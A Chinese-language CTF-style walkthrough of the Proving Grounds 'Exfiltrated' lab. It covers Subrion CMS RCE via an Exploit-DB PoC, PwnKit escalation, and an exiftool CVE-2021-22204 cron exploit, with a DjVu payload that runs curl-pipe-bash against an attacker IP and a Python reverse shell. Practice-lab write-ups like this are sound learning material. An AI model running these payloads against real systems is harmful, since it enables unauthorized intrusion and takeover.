Proving Grounds Practice : Exfiltrated Walkthrough

 Proving Grounds Practice : Exfiltrated Walkthrough


Foothole (立足點 ) :

  • 80 發現 CMS 套件 Subrion
  • 標準利用 PoC 49876 直接拿到 Shell

PE ( 提權 ) :

  • PwnKit 直接成功

注意事項 :

  • Subrion CMS PoC 學習,網址要注意加上最後的 /
  • 要另外學習 ExifTool 指令利用


Rustscan,└─$ rustscan -a 192.168.181.163 --scripts none  --ulimit 5000 | tee rustscan

22、80 兩個 Port 而已



snmp closed



nmap,└─$ sudo nmap -sCV -A -p 22,80 192.168.181.163 | tee nmap



whatweb,└─$ whatweb http://192.168.181.163 | tee whatweb

hosts 看來要先寫死



再跑一次,Title[Home :: Powered by Subrion 4.2]



80 /



看來是個 CMS,名稱是 Subrion



Subrion 管理者登入的頁面是 /panel,使用 admin:admin 登入嘗試成功

Version 4.2.1




參考這個 https://www.exploit-db.com/exploits/49876

版本 4.2.1 符合,第一行就寫驗證後可以 RCE 看來就是了

# Exploit Title: Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated)




執行後顯示驗證失敗,└─$ python3 49876.py -u http://exfiltrated.offsec/panel -l admin -p admin

但這個帳號密碼可以成功登入沒有問題,怎麼會顯示驗證失敗



後來發現網址最後面要加上 /



加上斜線後再跑一次試試看,└─$ python3 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin,這一次成功透過 PoC 拿到 Shell 了



cat /etc/passwd

發現帳號 coaran



su 切換使用者 coaran 失敗



Linpeas 下去 看到一個熟悉的 CVE-2021-4034 PwnKit



PwnKit 下去後成功 Root



補充說明 :

cat /etc/crontab,發現一個特殊的 Job

* *     * * *   root    bash /opt/image-exif.sh


看一下內容 cat /opt/image-exif.sh

重點是這幾行指令

 - IMAGES='/var/www/html/subrion/uploads' : 指定 IMAGES 的路徑

 - ls $IMAGES | grep "jpg" | while read filename; : 查看副檔名 *.jpg 的檔案

 - exiftool "$IMAGES/$filename" >> $LOGFILE : 執行 exiftool 指令




這裡要利用到的是 exiftool 這個指令,Google 搜尋都是 CVE-2021-22204



最主要的執行內容可以查看這一篇 : 

https://ine.com/blog/exiftool-command-injection-cve-2021-22204

告訴我們要使用 Djvu 的檔案格式利用




作法如下,利用資料庫文件 Djvu 檔案格式執行 RCE

此漏洞利用 djvumake,我們可以將其與 djvulibre-bin 軟體包一起安裝。

先安裝套件,└─$ sudo apt-get update && sudo apt-get install -y djvulibre-bin



使用 which 接指令確認安裝成功,直接打指令顯示綠色也表示安裝成功

└─$ which djvumake



接著來建立 payload 取名為 exploit,payload 的寫法有提供範例如下,id 就是要執行的指令




我們將 payload 改成執行透過 HTTP 來抓一個執行檔然後執行,這裡我們採用 shell.sh
內容 : (metadata "\c${system ('curl http://192.168.45.202/shell.sh | bash')};")




告知我們要使用 djvumake 的指令將檔案包裝

範例 : djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz



所以將剛剛安裝的套件 djvumake 來將 exploit 包裝成 djvu 檔案格式

djvumake 指令包裝用法└─$ djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=exploit



將 exploit.djvu 重新命名為 *.jpg 副檔名,然後 file 看一下確認是 image 檔案格式

改成 *.jpg 格式是因為靶機上的 sh 執行會確認檔案的副檔名

└─$ mv exploit.djvu exploit.jpg


接著要來建立剛剛指定的 shell.sh,內容直接使用 pythone3 建立 Reverse Shell,這個檔案是等等靶機執行 payload 後會透過 HTTP GET 來抓取與執行的檔案

#!/bin/bash


python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.202",4446));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'




將檔案上傳到該 image-exif.sh 指定的的 uploads 路徑




依據 PoC 的內容這樣就可以了,但是一直沒有發現有來抓取 shell.sh

發現是 curl 的路徑給錯,將 shell.sh 重新放置後成功看到 HTTP 200 GET



4446 Reverse Shell 進來了,whoami & id 看一下確認是管理者




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(1)